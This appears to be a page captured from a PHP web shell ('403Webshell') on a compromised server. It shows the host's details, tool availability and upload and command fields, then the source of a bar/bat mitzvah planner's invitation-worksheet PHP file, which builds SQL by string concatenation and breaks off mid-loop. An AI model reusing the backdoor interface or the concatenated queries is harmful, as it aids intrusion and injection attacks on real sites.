403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/mod/invitations.php
<?php include('_mod_security.php'); ?>
<?php
	// *** venue ***
	$sql = "SELECT * FROM events WHERE user_id = ".$_SESSION['user_id']."  AND id = ".$_SESSION['active_event']." ";
	$result_event = mysqli_query($GLOBALS['con'], $sql);
	$num_venues = 0;
	if (mysqli_num_rows($result_event) > 0) :
		$row_event = mysqli_fetch_object($result_event);
		if (!empty($row_event->temple_name)) :
			$num_venues = $num_venues + 1;
		endif;
		if (!empty($row_event->av_name)) :
			$num_venues = $num_venues + 1;
		endif;
		if (!empty($row_event->kv_name)) :
			$num_venues = $num_venues + 1;
		endif;
		if (!empty($row_event->bv_name)) :
			$num_venues = $num_venues + 1;
		endif;
		if (!empty($row_event->dv_name)) :
			$num_venues = $num_venues + 1;
		endif;
	endif;
	// *** Inserts ***
	$sql = "SELECT * FROM invitation_inserts WHERE user_id = ".$_SESSION['user_id']."  AND event_id = ".$_SESSION['active_event']." ORDER BY insert_desc ASC ";
	$result_inserts = mysqli_query($GLOBALS['con'], $sql);
	$num_inserts = mysqli_num_rows($result_inserts);
	// *** Guests ***
	$sql = "SELECT *, IF(g1.guest_type = 'P',0,1) AS sort_type, IF(g1.guest_type = 'P' OR g1.primary_guest_id = 0,last_name,(SELECT g2.last_name from guests g2 WHERE g2.id = g1.primary_guest_id)) AS sort_name, ".
			"IF(g1.guest_type = 'P' OR g1.primary_guest_id = 0, g1.id ,g1.primary_guest_id) AS sort_id FROM guests g1 WHERE g1.guest_type <> 'G' AND g1.user_id = ".$_SESSION['user_id']."  AND g1.event_id = ".$_SESSION['active_event']." ";
	$search_parm = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['strSearch']));
	if ($search_parm != '') :
		$sql = $sql." AND ".search_sql($_POST['strSearch'],'g1.last_name,g1.first_name')." ";
	endif;
	$sql = $sql." ORDER BY sort_name ASC, sort_id ASC, sort_type ASC, g1.last_name ASC";
	//echo '==='.$sql.'===';
	$result = mysqli_query($GLOBALS['con'], $sql);
	mysqli_data_seek($result_inserts, 0);
	$sql_inserts = '';
	while($row_inserts = mysqli_fetch_object($result_inserts)) :
		$sql_inserts = $sql_inserts.", IF(COUNT(IF(gi.insert_id = ".$row_inserts->id.", 1, null)) > 0, 'X', null) AS `".$row_inserts->insert_desc."` ";
	endwhile;
	$xls_sql = "SELECT g.id AS guest_id, g.first_name, g.last_name, g.invitation_text, g.invitation_text2, g.street, g.street2, g.city, g.state,(SELECT s.state_name from states s WHERE s.state = g.state) AS state_name,  g.zip, g.country, 'Inserts:' AS inserts ".
				$sql_inserts.", g.email ".
				"FROM guests g LEFT OUTER JOIN guests_inserts gi ON (g.id = gi.guest_id)  WHERE g.guest_type <> 'G' AND g.user_id = ".$_SESSION['user_id']." AND g.event_id = ".$_SESSION['active_event']." AND g.invitation_send = 1 ".
				"GROUP BY g.last_name, g.first_name, g.id, g.invitation_text, g.street, g.street2, g.city, g.state, g.zip, g.country ".
				"ORDER BY g.last_name ASC, g.first_name ASC";
	$ix_list = "invitations";
	$ix_form = "guest_form&ref=invitations";
	$vert_text_size = 10;
?>
<script>
	var xstats_on = 0;
	var second_line_id = 0;
	var format_line = '';
	
	check_invited = function(gid)
	{
		if ($('input[id="invite_temple_' + gid + '"]').attr('checked') == 'checked' || 
			$('input[id="invite_av_' + gid + '"]').attr('checked') == 'checked' || 
			$('input[id="invite_kv_' + gid + '"]').attr('checked') == 'checked' || 
			$('input[id="invite_bv_' + gid + '"]').attr('checked') == 'checked' || 
			$('input[id="invite_dv_' + gid + '"]').attr('checked') == 'checked' )
		{
			$('input[id="invitation_send_' + gid + '"]').attr('disabled', null);
		}
		else
		{
			$('input[id="invitation_send_' + gid + '"]').attr('disabled', 'disabled');
			$('input[id="invitation_send_' + gid + '"]').attr('checked', null).change();
		}
	}
	
	check_send = function(gid)
	{
		if ($('input[id="invitation_send_' + gid + '"]').attr('checked') == 'checked')
		{
			$('input[id="inserts_all_' + gid + '"]').attr('disabled', null);
			$('.inserts_' + gid).attr('disabled', null);
			$('input[id="invitation_format_10_' + gid + '"]').attr('disabled', null);
			$('input[id="invitation_format_20_' + gid + '"]').attr('disabled', null);
			$('input[id="invitation_format_30_' + gid + '"]').attr('disabled', null);
			$('input[id="invitation_format_40_' + gid + '"]').attr('disabled', null);
			$('input[id="invitation_text_' + gid + '"]').attr('disabled', null);
			$('input[id="invitation_text2_' + gid + '"]').attr('disabled', null);
		}
		else
		{
			$('input[id="inserts_all_' + gid + '"]').attr('disabled', 'disabled');
			$('input[id="inserts_all_' + gid + '"]').attr('checked', null);
			$('.inserts_' + gid).attr('disabled', 'disabled');
			$('.inserts_' + gid).attr('checked', null).change();
			$('input[id="invitation_format_10_' + gid + '"]').attr('disabled', 'disabled');
			$('input[id="invitation_format_10_' + gid + '"]').attr('checked', null);
			$('input[id="invitation_format_20_' + gid + '"]').attr('disabled', 'disabled');
			$('input[id="invitation_format_20_' + gid + '"]').attr('checked', null);
			$('input[id="invitation_format_30_' + gid + '"]').attr('disabled', 'disabled');
			$('input[id="invitation_format_30_' + gid + '"]').attr('checked', null);
			$('input[id="invitation_format_40_' + gid + '"]').attr('disabled', 'disabled');
			$('input[id="invitation_format_40_' + gid + '"]').attr('checked', null);
			$('input[id="invitation_text_' + gid + '"]').attr('disabled', 'disabled');
			$('input[id="invitation_text_' + gid + '"]').val('').change();
			$('input[id="invitation_text2_' + gid + '"]').attr('disabled', 'disabled');
			$('input[id="invitation_text2_' + gid + '"]').val('').change();
		} 
	}

	invite_all = function(gid)
	{
		if ($('#invite_all_'+ gid).attr('checked') == 'checked')
		{
			$('input[id="invite_temple_' + gid + '"]').attr('checked', 'checked').change();
			$('input[id="invite_av_' + gid + '"]').attr('checked', 'checked').change();
			$('input[id="invite_kv_' + gid + '"]').attr('checked', 'checked').change();
			$('input[id="invite_bv_' + gid + '"]').attr('checked', 'checked').change();
			$('input[id="invite_dv_' + gid + '"]').attr('checked', 'checked').change();
		}
		else
		{
			$('#column_invite_all').attr('checked',null);
		}
	}
	
	invite_copy = function(gid)
	{
		$('input[guest_group="guest_group_' + gid + '"]').filter('input[id^="invite_temple_"]').attr('checked', $('input[id="invite_temple_' + gid + '"]').attr('checked') || null).change();
		$('input[guest_group="guest_group_' + gid + '"]').filter('input[id^="invite_av_"]').attr('checked', $('input[id="invite_av_' + gid + '"]').attr('checked') || null).change();
		$('input[guest_group="guest_group_' + gid + '"]').filter('input[id^="invite_kv_"]').attr('checked', $('input[id="invite_kv_' + gid + '"]').attr('checked') || null).change();
		$('input[guest_group="guest_group_' + gid + '"]').filter('input[id^="invite_bv_"]').attr('checked', $('input[id="invite_bv_' + gid + '"]').attr('checked') || null).change();
		$('input[guest_group="guest_group_' + gid + '"]').filter('input[id^="invite_dv_"]').attr('checked', $('input[id="invite_dv_' + gid + '"]').attr('checked') || null).change();
	}
	
	propagate_column = function(column)
	{
		if ($('#column_invite_'+ column).attr('checked') == 'checked')
		{
			if (confirm('Are you sure?'))
			{
				$('input[id^="invite_' + column + '_"]:enabled:not(:checked)').attr('checked', 'checked').change();
			}
			else
			{
				$('#column_invite_'+ column).attr('checked',null);
			}
		}
	}
	
	propagate_column_inserts = function(column)
	{
		if ($('#column_inserts_'+ column).attr('checked') == 'checked')
		{
			if (confirm('Are you sure?'))
			{
				$('input[id^="inserts_' + column + '_"]:enabled:not(:checked)').attr('checked', 'checked').change();
			}
			else
			{
				$('#column_inserts_'+ column).attr('checked',null);
			}
		}
	}
	
	propagate_column_send = function()
	{
		if ($('#column_send_all').attr('checked') == 'checked')
		{
			if (confirm('Are you sure?'))
			{
				$('input[id^="invitation_send_"]:enabled:not(:checked)').attr('checked', 'checked').change();
			}
			else
			{
				$('#column_send_all').attr('checked',null);
			}
		}
	}
	inserts_all = function(gid)
	{
		if ($('#inserts_all_'+ gid).attr('checked') == 'checked')
		{
			$('.inserts_' + gid).attr('checked','checked').change();
		}
		else
		{
			$('#column_inserts_all').attr('checked',null);
		}
	}
	
	switch_invitation_send = function(gid)
	{
		if (xstats_on == 1)
			$('#ajax_update').load('ajax.php?call=invitations_update&func=send&id=' + gid +  
					'&send=' + val_checkbox($('input[name=invitation_send_' + gid + ']:checked').val()), 
					function() 
					{
						check_send(gid);
						live_field('invitation_send_' + gid);
						total_stats_send();
					} );
		if (document.getElementById('invitation_send_' + gid).checked)
		{
			//alert('switch_invited');
		}
		else
		{
			document.getElementById('column_send_all').checked = false;
		}
	}
	
	switch_invited = function(type, gid)
	{
		if (xstats_on == 1)
			$('#ajax_update').load('ajax.php?call=invitations_update&func=invite&id=' + gid + '&type=' + type + 
					'&invited=' + val_checkbox($('input[name=invite_' + type + '_' + gid + ']:checked').val()), 
					function() 
					{
						check_invited(gid);
						live_field('invite_' + gid);
						total_stats_invite(type);
					} );
		if (document.getElementById('invite_' + type + '_' + gid).checked)
		{
			//alert('switch_invited');
		}
		else
		{
			document.getElementById('column_invite_' + type).checked = false;
			document.getElementById('invite_all_' + gid).checked = false;
		}
	}
	
	switch_inserts = function(iid, gid)
	{
		if (xstats_on == 1)
			$('#ajax_update').load('ajax.php?call=invitations_update&func=insert&gid=' + gid + '&iid=' + iid + 
					'&insert=' + val_checkbox($('input[name=inserts_' + iid + '_' + gid + ']:checked').val()), 
					function() 
					{
						live_field('inserts_' + iid + '_' + gid);
						total_stats_insert(iid);
						//rsvp_stats(type);
					} );
		if (document.getElementById('inserts_' + iid + '_' + gid).checked)
		{
		}
		else
		{
			document.getElementById('column_inserts_' + iid).checked = false;
			document.getElementById('inserts_all_' + gid).checked = false;
		}
	}
	
	switch_format = function(format, gid)
	{
		switch (format)
		{
			case 10:
				$('#invitation_text_' + gid).attr('readonly', 'readonly');
				$('#invitation_text2_' + gid).attr('readonly', 'readonly');
				if( $('#div_invitation_text2_' + gid).is(':visible') )
				{
					$('#invitation_text2_' + gid).val('').change();
					$('#div_invitation_text2_' + gid).hide();
				}
				if (xstats_on == 1)
					$('#ajax_update').load('ajax.php?call=invitations_update&func=format&gid=' + gid + '&format=' + format + 
					//$('#invitation_text_' + gid).load('ajax.php?call=invitations_update&func=format&gid=' + gid + '&format=' + format + 
							'&text=' + encodeURIComponent($('#invitation_text_' + gid).val()) + 
							'&text2=' + encodeURIComponent($('#invitation_text2_' + gid).val()), 
							function() 
							{
								$('#invitation_text_' + gid).val($('#ajax_update').text());
								live_field('invitation_format_' + format + '_' + gid);
								live_field('invitation_text_' + gid);
								live_field('invitation_text2_' + gid);
							} );
				break;
			case 20:
				$('#invitation_text_' + gid).attr('readonly', 'readonly');
				$('#invitation_text2_' + gid).attr('readonly', 'readonly');
				if( $('#div_invitation_text2_' + gid).is(':visible') )
				{
					$('#invitation_text2_' + gid).val('').change();
					$('#div_invitation_text2_' + gid).hide();
				}
				if (xstats_on == 1)
					$('#ajax_update').load('ajax.php?call=invitations_update&func=format&gid=' + gid + '&format=' + format + 
					//$('#invitation_text_' + gid).load('ajax.php?call=invitations_update&func=format&gid=' + gid + '&format=' + format + 
							'&text=' + encodeURIComponent($('#invitation_text_' + gid).val()) + 
							'&text2=' + encodeURIComponent($('#invitation_text2_' + gid).val()), 
							function() 
							{
								$('#invitation_text_' + gid).val($('#ajax_update').text());
								live_field('invitation_format_' + format + '_' + gid);
								live_field('invitation_text_' + gid);
								live_field('invitation_text2_' + gid);
							} );
				break;
			case 30:
				$('#invitation_text_' + gid).attr('readonly', 'readonly');
				$('#invitation_text2_' + gid).attr('readonly', 'readonly');
				if( $('#div_invitation_text2_' + gid).is(':visible') )
				{
					$('#invitation_text2_' + gid).val('').change();
					$('#div_invitation_text2_' + gid).hide();
				}
				if (xstats_on == 1)
					$('#ajax_update').load('ajax.php?call=invitations_update&func=format&gid=' + gid + '&format=' + format + 
					//$('#invitation_text_' + gid).load('ajax.php?call=invitations_update&func=format&gid=' + gid + '&format=' + format + 
							'&text=' + encodeURIComponent($('#invitation_text_' + gid).val()) + 
							'&text2=' + encodeURIComponent($('#invitation_text2_' + gid).val()), 
							function() 
							{
								$('#invitation_text_' + gid).val($('#ajax_update').text());
								live_field('invitation_format_' + format + '_' + gid);
								live_field('invitation_text_' + gid);
								live_field('invitation_text2_' + gid);
							} );
				break;
			case 40:
				$('#invitation_text_' + gid).attr('readonly', null);
				$('#invitation_text2_' + gid).attr('readonly', null);
				if (xstats_on == 1)
					$('#ajax_update').load('ajax.php?call=invitations_update&func=format&gid=' + gid + '&format=' + format + 
					//$('#invitation_text_' + gid).load('ajax.php?call=invitations_update&func=format&gid=' + gid + '&format=' + format + 
							'&text=' + encodeURIComponent($('#invitation_text_' + gid).val()) + 
							'&text2=' + encodeURIComponent($('#invitation_text2_' + gid).val()), 
							function() 
							{
								$('#invitation_text_' + gid).val($('#ajax_update').text());
								live_field('invitation_format_' + format + '_' + gid);
								live_field('invitation_text_' + gid);
								live_field('invitation_text2_' + gid);
							} );
				break;
		}
		/*
		if (document.getElementById('inserts_' + iid + '_' + gid).checked)
		{
		}
		else
		{
			document.getElementById('column_inserts_' + iid).checked = false;
			document.getElementById('inserts_all_' + gid).checked = false;
		}
		*/
	}
	
	rsvp_update = function(type, gid)
	{
		return;
		$('#ajax_update').load('ajax.php?call=rsvp_update&id=' + gid + '&type=' + type + 
				'&invited=' + val_checkbox($('input[name=invite_' + type + '_' + gid + ']:checked').val()) + 
				'&rsvp=' + val_checkbox($('input[name=rsvp_' + type + '_' + gid + ']:checked').val()) +
				'&att=' + val_checkbox($('input[name=att_' + type + '_' + gid + ']:checked').val()),
				function() 
				{
					rsvp_stats(type);
				} );
	}
	
	total_stats_invite = function(type)
	{
		if (xstats_on != 1) return;
		$.ajax({
			url: "ajax.php?call=invitations_stats&func=venue&type=" + type,
			cache: false,
			dataType: "json",
			success: function(json) {
					$('#total_invite_' + type).text(json.total_count);
			}
			 ,error: function (request, status, error) { /* alert(status + ", " + error); */ }
		})
	}

	total_stats_send = function()
	{
		if (xstats_on != 1) return;
		$.ajax({
			url: "ajax.php?call=invitations_stats&func=send",
			cache: false,
			dataType: "json",
			success: function(json) {
					$('#total_invitation_send').text(json.total_count);
			}
			 ,error: function (request, status, error) { /* alert(status + ", " + error); */ }
		})
	}

	total_stats_insert = function(iid)
	{
		if (xstats_on != 1) return;
		$.ajax({
			url: "ajax.php?call=invitations_stats&func=insert&iid=" + iid,
			cache: false,
			dataType: "json",
			success: function(json) {
					$('#total_insert_' + iid).text(json.total_count);
			}
			 ,error: function (request, status, error) { /* alert(status + ", " + error); */ }
		})
	}

	open_format_menu = function(fdiv, iid, line)
	{
		if ($(fdiv).attr('readonly'))
			return;
		setTimeout( function() {
				var position = $(fdiv).position();
				//alert( "left: " + position.left + ", top: " + position.top );
				//alert($('#format_menu').height());
				$('#format_menu').css({'left' : (position.left + $(fdiv).width() - $('#format_menu').width()) + 'px', 'top' : (position.top - $(fdiv).height() - $('#format_menu').height() - 6) + 'px'});
				$('#format_menu').show();
				second_line_id = iid;
				format_line = line;
			}, 400);
	}
	
	close_format_menu = function(iid)
	{
		setTimeout( function() {
				$('#format_menu').hide();
				second_line_id = 0;
				format_line = '';
			}, 200);
	}
	
	toggle_second_line = function()
	{
		//alert('second line id: ' + second_line_id);
		if( $('#div_invitation_text2_' + second_line_id).is(':visible') )
		{
			$('#invitation_text2_' + second_line_id).val('').change();
		}
		$('#div_invitation_text2_' + second_line_id).toggle();
	}
	
	insert_shortcut = function(shortcut)
	{
		switch (shortcut)
		{
			case 'family' :
				$('#invitation_text' + format_line + '_' + second_line_id).val( $('#invitation_text' + format_line + '_' + second_line_id).val() + ' & Family' ).change();
				break;
			case 'children' :
				var iid = second_line_id;
				var iid_line = format_line;
				$.ajax({
					url: "ajax.php?call=invitations_stats&func=shortcut_children&iid=" + iid,
					cache: false,
					dataType: "json",
					success: function(json) {
							//$('#total_insert_' + iid).text(json.total_count);
							$('#invitation_text' + iid_line + '_' + iid).val( $('#invitation_text' + iid_line + '_' + iid).val() + json.shortcut ).change();
					}
					 ,error: function (request, status, error) { alert(status + ", " + error);/*  */ }
				})
				break;
		}
	}
	
	$(document).ready(function()	
	{
		//xstats_on = 1;
		total_stats_invite('temple');
		total_stats_invite('av');
		total_stats_invite('kv');
		total_stats_invite('bv');
		total_stats_invite('dv');
		total_stats_send();
	})
	
	// ****** Prepare popup form settings *****
	var win_page = 'page_form.php';
	var win_width = 600;
	var win_height = 400;
	var print_section = 'div_db_grid';
</script>

<h1>Invitation Worksheet</h1>

<?php
	if (empty($_SESSION['active_event'])) :
?>
		<h3>No Bar/Bat Mitzvah defined - please create or activate a Bar/Bat Mitzvah!</h3>
<?php
	endif;
?>
<?php get_reports('invited_by_venue,invited_all,guests_by_insert,guests_all_inserts,names_salutations,invitation_address_proofs,invitation_labels,invitation_envelopes_outer,invitation_envelopes_inner'); ?>
<?php get_notes(); ?>
<?php get_help_guide('help_invitations'); ?>

<?php include('mod/_db_navigator_bar.php'); ?>

<div id="ajax_update" style="width:300px; height:300px; display:none;">
</div>

<div class="db-grid" id="div_db_grid">

	<table id="db_grid_main" class="dbgrid" align="center" cellpadding="0" cellspacing="1" border="0" >
		<thead>
			<tr>
				<td align="center" class="data-grid-label">&nbsp;
				</td>
				<td colspan="<?php echo $num_venues + 1; ?>" align="center" class="data-grid-label">
					Invite to Events
				</td>
				<td class="data-grid-separator">&nbsp;
				</td>
				<td align="center" class="data-grid-label">&nbsp;
				</td>
				<td class="data-grid-separator">&nbsp;
				</td>
				<td colspan="<?php echo $num_inserts + 1; ?>" align="center" class="data-grid-label">
					Inserts
				</td>
				<td class="data-grid-separator">&nbsp;
				</td>
				<td colspan="4" align="center" class="data-grid-label">
					Format Type
				</td>
				<td align="center" class="data-grid-label">&nbsp;
				</td>
			</tr>
			<tr>
				<td align="center" class="data-grid-label vert_cell">
					Name
				</td>
				<td align="center" class="data-grid-label vert_cell">
					<?php echo vert_text('All',$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
				</td>
				<?php if (!empty($row_event->temple_name)) : ?>
					<td align="center" class="data-grid-label vert_cell">
						<?php echo vert_text(venue_decode('temple'),$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->av_name)) : ?>
					<td align="center" class="data-grid-label vert_cell">
						<?php echo vert_text(venue_decode('av'),$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->kv_name)) : ?>
					<td align="center" class="data-grid-label vert_cell">
						<?php echo vert_text(venue_decode('kv'),$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->bv_name)) : ?>
					<td align="center" class="data-grid-label vert_cell">
						<?php echo vert_text(venue_decode('bv'),$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->dv_name)) : ?>
					<td align="center" class="data-grid-label vert_cell">
						<?php echo vert_text(venue_decode('dv'),$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
					</td>
				<?php endif; ?>
				<td class="data-grid-separator">&nbsp;
				</td>
				<td align="center" class="data-grid-label vert_cell">
					<?php echo vert_text('Send Invitation?',$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
				</td>
				<td class="data-grid-separator">&nbsp;
				</td>
				<td align="center" class="data-grid-label vert_cell">
					<?php echo vert_text('All',$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
				</td>
				<?php
					mysqli_data_seek($result_inserts, 0);
					while($row_inserts = mysqli_fetch_object($result_inserts)) :
				?>
						<td align="center" class="data-grid-label vert_cell">
							<?php echo vert_text($row_inserts->insert_desc,$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
						</td>
				<?php
					endwhile;
				?>
				<td class="data-grid-separator">&nbsp;
				</td>
				<td align="center" class="data-grid-label vert_cell">
					<?php echo vert_text('Mr. Joe X',$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
				</td>
				<td align="center" class="data-grid-label vert_cell">
					<?php echo vert_text('Mr. & Mrs. Joe X',$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
				</td>
				<td align="center" class="data-grid-label vert_cell">
					<?php echo vert_text('Mr. Joe X & Mrs. Ann Y',$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
				</td>
				<td align="center" class="data-grid-label vert_cell">
					<?php echo vert_text('Custom',$vert_text_size,array(0x0C, 0x0C, 0x0C)); ?>
				</td>
				<td align="center" class="data-grid-label vert_cell">
					Format Preview
				</td>
			</tr>
			<tr>
				<td align="left" class="data-grid-label">
					Totals
				</td>
				<td align="center" class="data-grid-var">&nbsp;
				</td>
				<?php if (!empty($row_event->temple_name)) : ?>
					<td id="total_invite_temple" align="right" class="data-grid-var">&nbsp;
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->av_name)) : ?>
					<td id="total_invite_av" align="right" class="data-grid-var">&nbsp;
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->kv_name)) : ?>
					<td id="total_invite_kv" align="right" class="data-grid-var">&nbsp;
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->bv_name)) : ?>
					<td id="total_invite_bv" align="right" class="data-grid-var">&nbsp;
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->dv_name)) : ?>
					<td id="total_invite_dv" align="right" class="data-grid-var">&nbsp;
					</td>
				<?php endif; ?>
				<td class="data-grid-var-separator">&nbsp;
				</td>
				<td id="total_invitation_send" align="right" class="data-grid-var">&nbsp;
				</td>
				<td class="data-grid-var-separator">&nbsp;
				</td>
				<td class="data-grid-var">&nbsp;
				</td>
				<?php
					mysqli_data_seek($result_inserts, 0);
					while($row_inserts = mysqli_fetch_object($result_inserts)) :
				?>
						<td id="total_insert_<?php echo $row_inserts->id; ?>" align="right" class="data-grid-var">&nbsp;
						</td>
				<?php
					endwhile;
				?>
				<td class="data-grid-var-separator">&nbsp;
				</td>
				<td colspan="5" class="data-grid-var">&nbsp;
				</td>
			</tr>
		</thead>
		<tbody>
			<tr>
				<td align="right" class="data-grid-var">
					Mark all &raquo;&nbsp;
				</td>
				<td class="data-grid-var" align="center">
					<input name="column_invite_all" id="column_invite_all" type="checkbox" value="1" onchange="propagate_column('all');"  />
				</td>
				<?php if (!empty($row_event->temple_name)) : ?>
					<td class="data-grid-var" align="center">
						<input name="column_invite_temple" id="column_invite_temple" type="checkbox" value="1" onchange="propagate_column('temple');"  />
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->av_name)) : ?>
					<td class="data-grid-var" align="center">
						<input name="column_invite_av" id="column_invite_av" type="checkbox" value="1" onchange="propagate_column('av');"  />
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->kv_name)) : ?>
					<td class="data-grid-var" align="center">
						<input name="column_invite_kv" id="column_invite_kv" type="checkbox" value="1" onchange="propagate_column('kv');"  />
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->bv_name)) : ?>
					<td class="data-grid-var" align="center">
						<input name="column_invite_bv" id="column_invite_bv" type="checkbox" value="1" onchange="propagate_column('bv');"  />
					</td>
				<?php endif; ?>
				<?php if (!empty($row_event->dv_name)) : ?>
					<td class="data-grid-var" align="center">
						<input name="column_invite_dv" id="column_invite_dv" type="checkbox" value="1" onchange="propagate_column('dv');"  />
					</td>
				<?php endif; ?>
				<td class="data-grid-var-separator">&nbsp;
				</td>
				<td class="data-grid-var" align="center">
					<input name="column_send_all" id="column_send_all" type="checkbox" value="1" onchange="propagate_column_send();"  />
				</td>
				<td class="data-grid-var-separator">&nbsp;
				</td>
				<td class="data-grid-var" align="center">
					<input name="column_inserts_all" id="column_inserts_all" type="checkbox" value="1" onchange="propagate_column_inserts('all');"  />
				</td>
				<?php
					mysqli_data_seek($result_inserts, 0);
					while($row_inserts = mysqli_fetch_object($result_inserts)) :
				?>
						<td align="center" class="data-grid-var">
							<input name="column_inserts_<?php echo $row_inserts->id; ?>" id="column_inserts_<?php echo $row_inserts->id; ?>" type="checkbox" value="1" onchange="propagate_column_inserts('<?php echo $row_inserts->id; ?>');"  />
						</td>
				<?php
					endwhile;
				?>
				<td class="data-grid-var-separator">&nbsp;
				</td>
				<td class="data-grid-var">&nbsp;
				</td>
				<td class="data-grid-var">&nbsp;
				</td>
				<td class="data-grid-var">&nbsp;
				</td>
				<td class="data-grid-var">&nbsp;
				</td>
				<td class="data-grid-var">&nbsp;
				</td>
			</tr>
			<?php
				$primary_guest_id = 0;
				while($row = mysqli_fetch_object($result)) :
			?>
					<tr>
						<td class="data-grid-var" style="min-width:160px;" >
							<?php
								$guest_group = '';
								if ($row->guest_type != 'P' && !($row->guest_type == 'C' && $row->primary_guest_id == 0 )) :
									echo '&nbsp;&nbsp;&nbsp;';
									$guest_group = 'guest_group="guest_group_'.$primary_guest_id.'"';
								else :
									$primary_guest_id = $row->id;
									if ($row->guest_type != 'C') :
							?>
										<input type="button" style="width:40px; font-size:9px;  float:right; padding-left:0px; padding-right:0px; margin-top:2px;" value="Copy &darr;&darr;" onclick="invite_copy(<?php echo $row->id; ?>);" />
							<?php
									endif;
								endif;
							?>
							<a href="index.php?IX=guest_form&id=<?php echo $row->id; ?>&ref=invitations" >
								<?php echo format_guest_name_string($row->salutation, $row->first_name, $row->last_name, $row->suffix); ?>
							</a>
						</td>
						<td class="data-grid-var" align="center">
							<input name="invite_all_<?php echo $row->id; ?>" id="invite_all_<?php echo $row->id; ?>" type="checkbox" value="1" onchange="invite_all(<?php echo $row->id; ?>);rsvp_update('temple',<?php echo $row->id; ?>);"  <?php if ($row->invite_temple == '1' && $row->invite_av == '1' && $row->invite_kv == '1' && $row->invite_bv == '1' && $row->invite_dv == '1') : echo 'checked="checked"'; endif; ?> />
						</td>
						<?php if (!empty($row_event->temple_name)) : ?>
							<td class="data-grid-var" align="center">
								<input name="invite_temple_<?php echo $row->id; ?>" id="invite_temple_<?php echo $row->id; ?>" type="checkbox" value="1" <?php echo $guest_group; ?> onchange="switch_invited('temple',<?php echo $row->id; ?>);rsvp_update('temple',<?php echo $row->id; ?>);"  <?php if ($row->invite_temple == '1') : echo 'checked="checked"'; endif; ?> />
							</td>
						<?php endif; ?>
						<?php if (!empty($row_event->av_name)) : ?>
							<td class="data-grid-var" align="center">
								<input name="invite_av_<?php echo $row->id; ?>" id="invite_av_<?php echo $row->id; ?>" type="checkbox" value="1" <?php echo $guest_group; ?> onchange="switch_invited('av',<?php echo $row->id; ?>);rsvp_update('av',<?php echo $row->id; ?>);"  <?php if ($row->invite_av == '1') : echo 'checked="checked"'; endif; ?> />
							</td>
						<?php endif; ?>
						<?php if (!empty($row_event->kv_name)) : ?>
							<td class="data-grid-var" align="center">
								<input name="invite_kv_<?php echo $row->id; ?>" id="invite_kv_<?php echo $row->id; ?>" type="checkbox" value="1" <?php echo $guest_group; ?> onchange="switch_invited('kv',<?php echo $row->id; ?>);rsvp_update('kv',<?php echo $row->id; ?>);"  <?php if ($row->invite_kv == '1') : echo 'checked="checked"'; endif; ?> />
							</td>
						<?php endif; ?>
						<?php if (!empty($row_event->bv_name)) : ?>
							<td class="data-grid-var" align="center">
								<input name="invite_bv_<?php echo $row->id; ?>" id="invite_bv_<?php echo $row->id; ?>" type="checkbox" value="1" <?php echo $guest_group; ?> onchange="switch_invited('bv',<?php echo $row->id; ?>);rsvp_update('bv',<?php echo $row->id; ?>);"  <?php if ($row->invite_bv == '1') : echo 'checked="checked"'; endif; ?> />
							</td>
						<?php endif; ?>
						<?php if (!empty($row_event->dv_name)) : ?>
							<td class="data-grid-var" align="center">
								<input name="invite_dv_<?php echo $row->id; ?>" id="invite_dv_<?php echo $row->id; ?>" type="checkbox" value="1" <?php echo $guest_group; ?> onchange="switch_invited('dv',<?php echo $row->id; ?>);rsvp_update('dv',<?php echo $row->id; ?>);"  <?php if ($row->invite_dv == '1') : echo 'checked="checked"'; endif; ?> />
							</td>
						<?php endif; ?>
						<td class="data-grid-var-separator">&nbsp;
						</td>
						<?php
							if ($row->invite_temple == '1' || $row->invite_av == '1' || $row->invite_kv == '1' || $row->invite_bv == '1' || $row->invite_dv == '1') :
								$send_disabled = false;
							else :
								$send_disabled = true;
							endif;
						?>
						<td class="data-grid-var" align="center">
							<input name="invitation_send_<?php echo $row->id; ?>" id="invitation_send_<?php echo $row->id; ?>" type="checkbox" value="1" onchange="switch_invitation_send(<?php echo $row->id; ?>);"  <?php if ($row->invitation_send == '1' && !$send_disabled) : echo ' checked="checked" '; endif; if ($send_disabled) : echo ' disabled="disabled "'; endif; ?> />
						</td>
						<td class="data-grid-var-separator">&nbsp;
						</td>
						<td class="data-grid-var" align="center">
							<input name="inserts_all_<?php echo $row->id; ?>" id="inserts_all_<?php echo $row->id; ?>" type="checkbox" value="1" onchange="inserts_all(<?php echo $row->id; ?>);"  <?php if ($send_disabled || $row->invitation_send != '1') : echo ' disabled="disabled" '; endif; ?> />
						</td>
						<?php
							mysqli_data_seek($result_inserts, 0);
							while($row_inserts = mysqli_fetch_object($result_inserts)) :
